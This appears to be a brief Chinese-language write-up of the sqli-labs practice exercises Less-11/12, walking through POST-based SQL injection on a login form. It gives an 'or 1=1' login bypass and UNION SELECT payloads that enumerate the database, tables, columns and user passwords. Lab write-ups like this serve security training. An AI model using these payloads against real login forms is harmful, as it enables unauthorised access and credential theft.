sqli-labs Less-11/Less-12 POST Error Based

Less-11/Less-12 POST Error Based

POST方式基于错误的注入
查看页面情况，发现是一个登陆表单
随便输入一些内容，点击submit后，有login attempt failed的提示图片，

尝试成能密码登陆 or 1=1 – +

提示登陆成功，并出现用户名和密码信息。
接下来构造语句，获取数据库信息
123’ union select 1,2,3 – +
提示查询列数不对，减少一列尝试一下
123’ union select 1,2 – +

提示登陆成功，并给出了显示位置。
获取数据库名
123’ union select 1,database() – +

然后可以通过以下语句获取更多信息，可以根据实际情况适当调整语句参数
获取表名语句
123’ union select 1,table_name from information_schema.tables where table_schema=“security” limit 3,1 – +
获取列名语句
123’ union select 1,column_name from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1 – +
获取用户信息语句
123’ union select username,password from users limit 1,1 – +